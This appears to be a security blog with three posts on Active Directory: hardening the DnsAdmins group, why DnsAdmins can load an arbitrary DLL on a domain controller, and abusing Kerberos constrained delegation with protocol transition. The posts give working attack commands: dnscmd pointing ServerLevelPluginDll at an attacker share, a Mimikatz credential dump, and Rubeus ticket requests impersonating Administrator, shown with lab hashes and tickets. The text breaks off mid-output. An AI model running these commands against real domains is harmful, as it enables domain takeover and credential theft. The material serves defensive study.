phackt.org

How to mitigate DnsAdmins privilege escalation ?

2021-05-12T00:00:00+00:00

Hello,

Glad to see you in this second part of this post. In our previous article we showed which rights were involved in the DnsAdmins privilege escalation. Now let’s talk about how to properly mitigate this.

First of all, a few words about the Security Descriptor Propagator (SDProp) ;

Within Active Directory, a default set of highly privileged accounts and groups are considered protected accounts and groups.

With protected accounts and groups, the objects' permissions are set and enforced via an automatic process that ensures the permissions on the objects remains consistent even if the objects are moved the directory. Even if somebody manually changes a protected object's permissions, this process ensures that permissions are returned to their defaults quickly.

Additionally, permissions inheritance is disabled on protected groups and accounts, which means that even if the accounts and groups are moved to different locations in the directory, they do not inherit permissions from their new parent objects.

Inheritance is disabled on the AdminSDHolder object so that permission changes to the parent objects do not change the permissions of AdminSDHolder.

This last sentence makes sense because the security descriptor used as a template to protect sensitive groups and users is stored in the nTSecurityDescriptor attribute from the AdminSDHolder object in Active Directory. The AdminSDHolder object is of class container and has a DN of CN=AdminSDHolder,CN=System,<Domain NC DN>.

Even if this is not a post about detailing the SDProp mechanism, why is this important ? Because this security mechanism called Security Descriptor Propagator (SDProp) aims at cutting any potential control paths to these Protected Users and Groups as they are highly privileged.

Unfortunately, DnsAdmins is not targeted by this security mechanism .

What is the algorithm to define which object deserves to be protected by the SDProp ? (taken from the ADTS - 3.1.1.6.1.2 Protected Objects) ;

d = domain;
o = protected security principal object

if  (
        (o!objectClass = group AND attribute o!groupType & GROUP_TYPE_SECURITY_ENABLED != 0) OR (o!objectClass = user)
    )
AND 
    (
        o!objectSid = d!objectSid + RID
    )
AND 
    (
        o is a member, directly or transitively, of any group in the set:
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ADMINS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_ACCOUNT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_SYSTEM_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_PRINT_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_BACKUP_OPS
            built-in well-known group with RID = DOMAIN_ALIAS_RID_REPLICATOR
            account domain well-known group with RID = DOMAIN_GROUP_RID_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_SCHEMA_ADMINS
            account domain well-known group with RID = DOMAIN_GROUP_RID_ENTERPRISE_ADMINS
    )
OR  
    (
        is one of the following well-known security principals:
            of class user with RID = DOMAIN_USER_RID_ADMIN
            of class user with RID = DOMAIN_USER_RID_KRBTGT
            of class group with RID = DOMAIN_GROUP_RID_CONTROLLERS
            of class group with RID = DOMAIN_GROUP_RID_READONLY_CONTROLLERS
    )

No mention to DnsAdmins here, even if we know that being member of DnsAdmins compromised domain.

At least we can manually set ACEs as restricted as the AdminSDHolder ones thanks to the cmdlet Set-ADSyncRestrictedPermissions from the AdSyncConfig.psm1 module. This is part of the recommendations shared by this Active Directory guide.

The AzureADConnect.msi package can be downloaded from https://go.microsoft.com/fwlink/?LinkId=615771.

The AdSyncConfig.psm1 module may be extracted from the Azure AD Connect installer with msiexec:
msiexec /a "AzureADConnect.msi" /qb TARGETDIR=c:\temp\

Mitigations

DnsAdmins cleared

Keep the DnsAdmins group empty, prefer a delegation group to manage your DNS service and to allow DNS zone updates. This is done thanks to the two following steps ;

STEP 1: ALLOW ACCESS TO RPC USED BY DNS MANAGEMENT MMC SNAP-INS

In the domain naming context, under the CN=System container, set the following access rights on the CN=MicrosoftDNS container for your trustee delegation group ;

STEP 2: ALLOW DNS ZONE MODIFICATIONS

In the DC=DomainDnsZones naming context, on every zone you wish to delegate management, enable inheritance and set the following access rights on the CN=MicrosoftDNS container for your trustee delegation group ;

DnsAdmins security descriptor

This is an overview of the DnsAdmins security descriptor ;

Owner

The group should be changed, DnsAdmins should be owned by Domain Admins ;

ACL

Set rights at least as strict as the AdminSDHolder ones ;

Import-Module "C:\Program Files\Microsoft Azure Active Directory Connect\AdSyncConfig\AdSyncConfig.psm1"
$credential = Get-Credential
Set-ADSyncRestrictedPermissions -ADConnectorAccountDN "CN=DnsAdmins,CN=Users,DC=phackt,DC=local" -Credential $credential

You can check that the DnsAdmins security descriptor is blocking inheritable ACEs ;

Get-ADSyncObjectsWithInheritanceDisabled -SearchBase "CN=DnsAdmins,CN=Users,DC=phackt,DC=local" -ObjectClass '*'

DistinguishedName : CN=DnsAdmins,CN=Users,DC=phackt,DC=local
Name              : DnsAdmins
ObjectClass       : group
ObjectGUID        : 54d747e8-f9c2-461b-b8f2-5cc0b99249cc
ObjectSID         : S-1-5-21-3816950244-2414788102-2833019223-1101
sAMAccountName    : DnsAdmins

You should get a security descriptor which should look like this ;

The DACL_PROTECTED parameter shows that the descriptor is blocking inheritable ACEs

As you see it is a way more restrictive than the original AdminSDHolder security descriptor shown below ;

Also you can set, on the DnsAdmins group, a Deny ACE forbidding Everyone for the WRITE_OWNER right (remember that being owner of an object provides the WRITE_DAC and READ_CONTROL over the object).

However if you do this remember that replaying the Set-ADSyncRestrictedPermissions cmdlet will reset the DACL and delete this ACE (on the other hand you could update the AdSyncConfig.psm1 module to match your needs).

MicrosoftDNS security descriptor

As seen previously, deleting the DnsAdmins RIGHT_DS_WRITE_PROPERTY_EXTENDED right for the MicrosoftDNS container will prevent an attacker from writing the registry key to set the path of an arbitrary DLL to be loaded by the DNS service.

However i don’t know what is the impact if you benefits from the Microsoft support and if they need to exceptionally perform a maintenance operation, from DnsAdmins, which needs this right (nevertheless i never faced this situation).

Conclusion

Firstly i thought it was possible to add a new security group to be targeted by the SDProp mechanism but no, it’s not (and as i was said, it’s not for tomorrow). At least we can manually set some restricted rights on it. Also i’m having a look at creating a routine which will frequently override the DnsAdmins ntSecurityDescriptor based on the AdminSDHolder one to simulate the SDProp mechanism for custom groups.

DnsAdmins is one of the so many ways an attacker can gain control of your Active Directory. If you are looking for a complete Active Directory security assessment checklist : https://www.cert.ssi.gouv.fr/uploads/guide-ad.html.

[UPDATE 2021/12/06]: According to this article, it seems that the issue has been finally fixed by Microsoft.

Thanks folks for reading,
Cheers.

Why DnsAdmins privilege escalation is still working ?

2021-04-22T00:00:00+00:00

Hello,

In this article, first part of a serie, i’m talking about DnsAdmins and why this is a group you should take care of. I know that several articles talk about the privilege escalation (DNS service running on a domain controller and loading an arbitrary DLL).

We will quickly review this attack, but mainly i would rather focus on why it is still working nowadays, which permissions do you need to run this attack. I will conclude in a second part with the mitigations which can be implemented to prevent this attack.

What is DnsAdmins ?

Long story short, as mentioned in the Active Directory guide from the french cybersecurity national agency (ANSSI) ;

members of the DnsAdmins group are granted access rights to manage a Microsoft DNS service. 

So as a member of DnsAdmins group, you can manage your DNS zones and DNS services. You can for example create a new DNS zone, manage your DNS entries, start / stop the dns.exe service which is running as SYSTEM and being hosted, most of the time, by a domain controller. More generally you can perform any setup and configuration tasks dealing with your DNS servers.

We already know that a privilege escalation exists from a user being a member of DnsAdmins. As a reminder from https://adsecurity.org/?p=4064 ;

member of DnsAdmins or have write access to a DNS server object
DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe.
According to Microsoft protocol specification, the “ServerLevelPluginDll” operation enables us to load a dll of our choosing (with no verification of dll path).
dnscmd.exe already implements this option: dnscmd.exe /config /serverlevelplugindll \\path\to\dll
When executing this dnscmd.exe command as a user that is a member of DnsAdmins, the following registry key is populated: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
Restarting the DNS service will load the DLL in this path; however, the DLL needs to contain “one of the DnsPluginInitialize, DnsPluginCleanup or DnsPluginQuery exports.”
The DLL simply needs to be available on a network share that the Domain Controller’s computer account can access.

As said ;

DNS management is performed over RPC (UUID is 50ABC2A4–574D-40B3–9D66-EE4FD5FBA076) and the transport mechanism is the \PIPE\DNSSERVER named pipe

Let’s check ;

C:\Users\attacker\Documents\impacket>rpcdump.py DC01
...
Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management 
Provider: dns.exe 
UUID    : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0 
Bindings: 
          ncacn_ip_tcp:0.0.0.0[49679]
...

MicrosoftDNS container

CN=System is a top-level container of a domain naming context, which is used for miscellaneous domain configuration objects. Examples include trust objects, DNS objects, and group policy objects. It contains the CN=MicrosoftDNS container.

In general a service with specific access rights stores its security settings in the registry key HKLM\System\CurrentControlSet\Services\<service_name>\security.
In our case, the dns service will use as a security descriptor the one applied to the LDAP MicrosoftDNS object.

Thanks to ldp.exe, let’s have a look at the MicrosoftDNS security descriptor ;

You also can read the ntSecurityDescriptor attribute thanks to this command ;

PS C:\> (Get-ADObject "CN=MicrosoftDNS,CN=System,$((Get-ADRootDSE).defaultNamingContext)" -Properties ntSecurityDescriptor | select -ExpandProperty ntSecurityDescriptor).access | Where-Object {$_.IdentityReference -Like "*DnsAdmins*"}


ActiveDirectoryRights : CreateChild, DeleteChild, ListChildren, ReadProperty, DeleteTree, ExtendedRight, Delete, GenericWrite, WriteDacl, WriteOwner
InheritanceType       : All
ObjectType            : 00000000-0000-0000-0000-000000000000
InheritedObjectType   : 00000000-0000-0000-0000-000000000000
ObjectFlags           : None
AccessControlType     : Allow
IdentityReference     : PHACKT\DnsAdmins
IsInherited           : False
InheritanceFlags      : ContainerInherit
PropagationFlags      : None

With this last command you will get the GENERIC_WRITE right, which stands for RIGHT_READ_CONTROL | RIGHT_DS_WRITE_PROPERTY | RIGHT_DS_WRITE_PROPERTY_EXTENDED.

So according to the Active Directory Technical Specification (Page 419), what is the RIGHT_DS_WRITE_PROPERTY_EXTENDED and why is it important in our exploitation ?

What are the necessary rights for the exploitation

Let’s play with DnsAdmins rights and see what happens in the context of a DnsAdmins member. Let’s assume that our attacker user got a control path to add himself to DnsAdmins for example ;

PS C:\> Get-ADGroupMember DnsAdmins


distinguishedName : CN=attacker,CN=Users,DC=phackt,DC=local
name              : attacker
objectClass       : user
objectGUID        : 1cab0c62-e28b-4a80-b13f-f1ff515d6d44
SamAccountName    : attacker
SID               : S-1-5-21-3816950244-2414788102-2833019223-1612

PS C:\> whoami
phackt\attacker

PS C:\> dnscmd DC01.PHACKT.LOCAL /config /serverlevelplugindll \\attackermachine\dll\mimilib.dll

Registry property serverlevelplugindll successfully reset.
Command completed successfully

dnscmd.exe will need the DNS RSAT installed:

Add-WindowsCapability –online –Name "Rsat.Dns.Tools~~~~0.0.1.0"

So what happened ?

The ServerPluginDll has been set, you can restart the DNS service to trigger your exploit :

sc.exe \\dc01.phackt.local stop dns
sc.exe \\dc01.phackt.local start dns

Now let’s drop the RIGHT_DS_WRITE_PROPERTY_EXTENDED right ;

Now let’s get back to our exploitation ;

Hum ok it does not work anymore. So let’s rollback and drop this time the RIGHT_DS_WRITE_PROPERTY ;

We are also getting ERROR_ACCESS_DENIED.

First conclusion

We can run the DnsAdmins privilege escalation because DnsAdmins is a trustee with the RIGHT_DS_WRITE_PROPERTY and RIGHT_DS_WRITE_PROPERTY_EXTENDED rights on MicrosoftDNS container. As mentioned, the dns.exe service is using the MicrosoftDNS security descriptor to define its access rights.

RIGHT_DS_WRITE_PROPERTY_EXTENDED :

The right to perform an operation controlled by a validated write access right. The ObjectType member of an ACE can contain a GUID that identifies the validated write. If ObjectType does not contain a GUID, the ACE controls the rights to perform all validated write operations associated with the object.

We understand that it allows the trustee (DnsAdmins) to write any extended property of our dns service. It makes sense that the needed rights expected to edit the registry key (the write permissions we just talked about) are checked in the code of the DNS service. May be it should be worth reversing the RPC exposed.

We will review in a second part why DnsAdmins has to be considered as a Protected Group and the other mitigations to implement.

Let’s have a look at the following groups ;

PS C:\> Get-ADGroup DnsAdmins -Properties members,admincount


DistinguishedName : CN=DnsAdmins,CN=Users,DC=phackt,DC=local
GroupCategory     : Security
GroupScope        : DomainLocal
Members           : {}
Name              : DnsAdmins
ObjectClass       : group
ObjectGUID        : 54d747e8-f9c2-461b-b8f2-5cc0b99249cc
SamAccountName    : DnsAdmins
SID               : S-1-5-21-3816950244-2414788102-2833019223-1101



PS C:\> Get-ADGroup 'Domain Admins' -Properties members,admincount


admincount        : 1
DistinguishedName : CN=Domain Admins,CN=Users,DC=phackt,DC=local
GroupCategory     : Security
GroupScope        : Global
Members           : {CN=testdaadmin,CN=Users,DC=phackt,DC=local, CN=Administrator,CN=Users,DC=phackt,DC=local}
Name              : Domain Admins
ObjectClass       : group
ObjectGUID        : 6e647868-0e92-4686-b555-e4b5b53e1a15
SamAccountName    : Domain Admins
SID               : S-1-5-21-3816950244-2414788102-2833019223-512

Keep in mind that for the Domain Admins group, you can see the proof that the Security Descriptor Propagator has been processed thanks to the property admincount set to 1, meaning that “Domain Admins” is a Protected Group as we will see later. It’s not the case for DnsAdmins.

Thanks for reading and see you in part 2,
Phackt.

Kerberos constrained delegation with protocol transition

2020-11-27T00:00:00+00:00

Hello,

Today, we are talking about the exploitation of Kerberos protocol extensions S4U2Self and S4U2Proxy in order to impersonate a privileged user of the domain.

This post aims at focusing on the Kerberos constrained delegation with protocol transition which we will shorten T2A4D (TrustedToAuthForDelegation); how to enumerate it, how to exploit it and use it as a method of persistence.
To not reinvent the wheel, you will find a very good article introducing the kerberos delegation on the blog hackndo.

Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo

Prerequisites

There are two methods to benefit from the Active Directory cmdlets:

Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online
N.B: can also be done offline thanks to the downloadable iso
https://github.com/samratashok/ADModule

TrustedToAuthForDelegation

srv$ is a machine account of the domain.

Get-ADComputer -Identity srv | Set-ADAccountControl -TrustedToAuthForDelegation $True
Set-ADComputer -Identity srv -Add @{'msDS-AllowedToDelegateTo'=@('TIME/DC.WINDOMAIN.LOCAL','TIME/DC')}

or through GUI:

Note that the constrained delegation can also be based on the resource (property msds-allowedtoactonbehalfofotheridentity).
Indeed, it seems more consistent to give legitimacy to a resource to decide which other resource can access it. We will come back to this later.

Let’s get our hands dirty.

Enumeration

The first interesting thing is to be able to list the service accounts affected by T2A4D :

PS C:\tools> Get-ADObject -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)" -Properties distinguishedName,samAccountName,samAccountType,userAccountControl,msDS-AllowedToDelegateTo,servicePrincipalName | fl


useraccountcontrol       : WORKSTATION_TRUST_ACCOUNT, TRUSTED_TO_AUTH_FOR_DELEGATION
serviceprincipalname     : {WSMAN/SRV, WSMAN/SRV.windomain.local, TERMSRV/SRV, TERMSRV/SRV.windomain.local...}
msds-allowedtodelegateto : {TIME/DC, TIME/DC.WINDOMAIN.LOCAL}
distinguishedname        : CN=SRV,CN=Computers,DC=windomain,DC=local
samaccountname           : SRV$
samaccounttype           : MACHINE_ACCOUNT

The tool Invoke-Recon will find it all for you.

Attack scenario

We are going to compromise a machine srv$ with the attribute useraccountcontrol with the value trusted_to_auth_for_delegation.

The machine srv$ runs a service SA on which a user whatever authenticates using another mechanism than Kerberos (e.g. a web application with NTLM or basic authentication). In this case, SA (or the web application) did not get any service ticket proving authentication from whatever to SA. This service ticket is normally used by the S4U2Proxy mechanism in order to carry out the classical constrained delegation.

This is where the constrained delegation with protocol transition comes in. The latter will still allow the “double hop” and allow SA to request a service ticket for SB by taking the identity of the user whatever.

SB is either in the msDS-AllowedToDelegateTo field of SA:

Or SA is in the msDS-AllowedToActOnBehalfOfOtherIdentity field of SB (Resource-Based Constrained Delegation).

This delegation will involve the protocol extensions ServiceForUserToSelf and ServiceForUserToProxy :

S4U2Self will simulate the kerberos authentication and thus the service ticket request for the user whatever.
SA will somehow request a service ticket for itself for an arbitrary user.
The result is a forwardable T_SA service ticket that can then be passed to the S4U2Proxy mechanism, the latter used for classical constrained delegation.

Please note that the forwardable flag is was necessary and will be set if the delegating service account SA is marked as TRUSTED_TO_AUTH_FOR_DELEGATION.
S4U2Proxy will use T_SA as a proof of whatever authentication to SA in order to obtain a forwarded service ticket for SB.
The arbitrary user whatever connects to the service SB.

Note about TRUSTED_TO_AUTH_FOR_DELEGATION :

The S4U2Proxy mechanism will need a "forwardable" service ticket obtained thanks to S4U2Self mechanism. Note that the flag TRUSTED_TO_AUTH_FOR_DELEGATION is only used for the protocol transition, no flag is set with the classical constrained delegation.

Since KB4598347, the KDC will no more check the forwadable flag in the provided service ticket PAC but will directly look into the directory for the right conditions to be met to allow the S4U mechanism ;

- Is the "delegating" service legitimate to run the protocol transition (so here is SA marked as TRUSTED_TO_AUTH_FOR_DELEGATION) ?
- Is the "delegated" account (impersonated user) not a member of the Protected Users group and is not marked as "Account is sensitive and cannot be delegated" (NOT_DELEGATED), so is the account allowed to be delegated ?

If you heard about the Resource-Based Constrained Delegation attack (RBCD), you can wonder why if a trustee has the writeProperty right on a computer account it is so bad ?

Ok so first of all you can write the msds-AllowedToActOnBehalfOfOtherIdentity property with the SID of a principal you control, but ;

- Is this principal, the one that you just added to "msds-AllowedToActOnBehalfOfOtherIdentity", marked as TRUSTED_TO_AUTH_FOR_DELEGATION, so are you really legitimate to impersonate your user and run the S4U protocol extensions ?

In many cases this principal is not marked as TRUSTED_TO_AUTH_FOR_DELEGATION and you can not set this value as we will see later if you are not a privileged domain user.

So why the the RBCD attack is working ? ; for this special case of Resource-Based Constrained Delegation, it seems that the KDC only checks if the delegated user is OK to be delegated (not protected users, not NOT_DELEGATED), but the service (or here the principal which you edited the "msds-AllowedToActOnBehalfOfOtherIdentity" property) is not checked anymore to be legitimate to run the protocol transition (is it marked as TRUSTED_TO_AUTH_FOR_DELEGATION ?, aka T2A4D).

And why this is so interesting, because Microsoft decided that this is a feature, not a bug, so as a consequence this attack (RBCD) is still working on a fully patched Windows Server 2019 domain controller.

Now let’s get back to our scenario, if the T2A4D service account running SA has been compromised, we can generate a T_SA for an arbitrary account (Domain Administrator) for an authorized service (msDS-AllowedToDelegateTo or msds-AllowedToActOnBehalfOfOtherIdentity if resource-based).

The SPNs being interchangeable (unencrypted part of the service ticket), it is possible to modify it by another SPN of the same service account (ex: using the service class CIFS, which gives us the SPN CIFS/DC instead of TIME/DC).

We have to be able to delegate the impersonated account.

It must be neither Protected Users, nor “Account is sensitive and cannot be delegated”.

Exploitation

It will be necessary to first compile Rubeus (from the repo Rubeus, launch the project, “Build -> Build Solution”).

It is assumed here that the srv$ machine has been compromised beforehand. Let’s find out its credentials:

C:\tools> C:\tools\Mimikatz\x64\mimikatz.exe "privilege::debug" "sekurlsa::logonPasswords" "exit"

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 19484783 (00000000:0129506f)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 9/25/2020 10:06:29 AM
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : srv$
         * Domain   : WINDOMAIN
         * NTLM     : b5858035cb595dd82050f9193b220232
         * SHA1     : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
        tspkg :
        wdigest :
         * Username : SRV$
         * Domain   : WINDOMAIN
         * Password : (null)
        kerberos :
         * Username : SRV$
         * Domain   : windomain.local
         * Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&G_n8C1eP(aIymKGM-d^E;J5>$uj*0? &duWc:"$tL$KtkJuqE+t[s@fw$#YA:O$Bh<%usYq@vU5 ,i6q^JK=q9bV:Ue?Y
        ssp :
        credman :
...

Now we need to unroll the S4U to generate a service ticket, not for TIME/DC, but for CIFS/DC for the WINDOMAIN\Administrator user.

Let’s check that the share \\DC\C$ is refused to us:

C:\tools>dir \\DC\C$
Access is denied.

First, we request a TGT for the compromised service account srv$:

C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
[*] Building AS-REQ (w/ preauth) for: 'windomain.local\srv$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE5DCCBOCgAwIBBaEDAgEWooID9DCCA/BhggPsMIID6KADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIk
      MCKgAwIBAqEbMBkbBmtyYnRndBsPd2luZG9tYWluLmxvY2Fso4IDpjCCA6KgAwIBEqEDAgECooIDlASC
      A5DCmCD2rczQzoD7RBj3++6B+e7j68hijB0EoPUE87/OBc6Rw5hAPLzcWFJC8sfBuWWywOB/Y4O6Z9Xv
      IKQsk8mypOz33ffprU2NhtGGz9fcuy2oFKonUhUU3QSCgMT16KOfkpt2QYsan9zV4vUJpdEDrRCkdKCx
      +bu+dL63100hpjT8BlOZDsobNBPalaQRo1AihpxPgA48UtsDVB/hG0A4monF5x2wCBsoKy+7MEBi0CAa
      tLDv60ly4eIvRPijEXkN3Zmm/l1wIzWt4WpcGFdpoSTS+VLkgws9zHVCuoQlOGWURjTHRksHjIG6Exkf
      KXyCBCuO6vUxC+DUv3vCVC1wBEs5e7VXtGPhUzd8jJoSVCc+oSv4zXS+NzVf0RTr8ephMHxrXzzpCVQL
      y+3fLU+5/xcnzZiTypBDnjeluHKnlj+cZhQVniQU5PEhGw+DnaL22QZqOPY08VouXUtE44spKsrRGu8N
      qkwqdLVFTDSNNYgUGFGAvUG7QyWeC/XhbYvA5dpM9DUXhVo7ri3A4TZbLSfdrfiy14cOrl6AV8yD1Afo
      +Dks8KELhnba6JWdY6RVgbgXgvwDuy69JKrTPhifpTwEMrvbJejRnM0iD4YwwPTY6qT9xtXDRw5nfb/N
      yd2WZVmwlFsg3JBl0VCNAzfTxyZLhta5s8G8lRJmpBTUPgxWXVleta4v9XGGoWuT0WlmSveXSKrowwLZ
      BhHaSm0/IVRypnWyJYEY+PU7LXOsHDt3arS8WWMUV/niRYEVSIHM86AF5m7VJL52XRXeM45u/jtpWwfL
      b0/Dx0Hma2A/dti+2ns+PyjQxhMxj9iqKwyVAsNYkKlTL8HgD/NqT+Tt2Lh7CnhP6gqIpdQswTUq/XLO
      8FA/ZKtg13mF0A8FqbUKbmcntXc6+oBklkoQAilQSbShmrVuqLAMEoMOnc2l7S0tTGpDlPkNzIzcTk9l
      BdPbVvmWhMOu8JV/SywUW60pO3YpoBu8qpIuHUboFNbzBszDh+N0D9WK8Idt5YSQAqVpRQY01aDiO1H8
      rOq1yrDlShkzNG2pixurvyNsckdRRytESyggACpn12cXOWOOUcQzMyf42m+gyuj4WaoL98elvax0Qz51
      wSFpyoBq4gj1QF+h2RroJabfKBIwemCbeKD7CE5gQEkYLWCjoSNwzYGMEmtVZdDib8nlIRarsqNsrZGF
      RTpD9hg1sjrWJhZ9gjijgdswgdigAwIBAKKB0ASBzX2ByjCBx6CBxDCBwTCBvqAbMBmgAwIBF6ESBBD6
      04gmG9bj12WZbdd2ZJYboREbD1dJTkRPTUFJTi5MT0NBTKIRMA+gAwIBAaEIMAYbBHNydiSjBwMFAEDh
      AAClERgPMjAyMDA5MjUxODA1MDdaphEYDzIwMjAwOTI2MDQwNTA3WqcRGA8yMDIwMTAwMjE4MDUwN1qo
      ERsPV0lORE9NQUlOLkxPQ0FMqSQwIqADAgECoRswGRsGa3JidGd0Gw93aW5kb21haW4ubG9jYWw=

[*] Ticket written to srv.tgt


  ServiceName           :  krbtgt/windomain.local
  ServiceRealm          :  WINDOMAIN.LOCAL
  UserName              :  srv$
  UserRealm             :  WINDOMAIN.LOCAL
  StartTime             :  9/25/2020 6:05:07 PM
  EndTime               :  9/26/2020 4:05:07 AM
  RenewTill             :  10/2/2020 6:05:07 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  +tOIJhvW49dlmW3XdmSWGw==

Then this TGT will allow us to initiate the S4U2Self. Then the S4U2Proxy will intervene as explained previously for the CIFS service (be aware of /altservice:cifs) :

C:\tools> C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe s4u /ticket:srv.tgt /msdsspn:TIME/DC /impersonateuser:Administrator /domain:windomain.local /altservice:CIFS /ptt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: S4U

[*] Action: S4U

[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2self request for: 'srv$@WINDOMAIN.LOCAL'
[*] Sending S4U2self request
[+] S4U2self success!
[*] Got a TGS for 'Administrator@WINDOMAIN.LOCAL' to 'srv$@WINDOMAIN.LOCAL'
[*] base64(ticket.kirbi):

      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
      QUlOLkxPQ0FMqREwD6ADAgEBoQgwBhsEc3J2JA==

[+] Ticket successfully imported!
[*] Impersonating user 'Administrator' to target SPN 'TIME/DC'
[*]   Final ticket will be for the alternate service 'cifs'
[*] Using domain controller: dc.windomain.local (192.168.38.102)
[*] Building S4U2proxy request for service: 'TIME/DC'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] Substituting alternative service name 'cifs'
[*] base64(ticket.kirbi) for SPN 'cifs/dc':

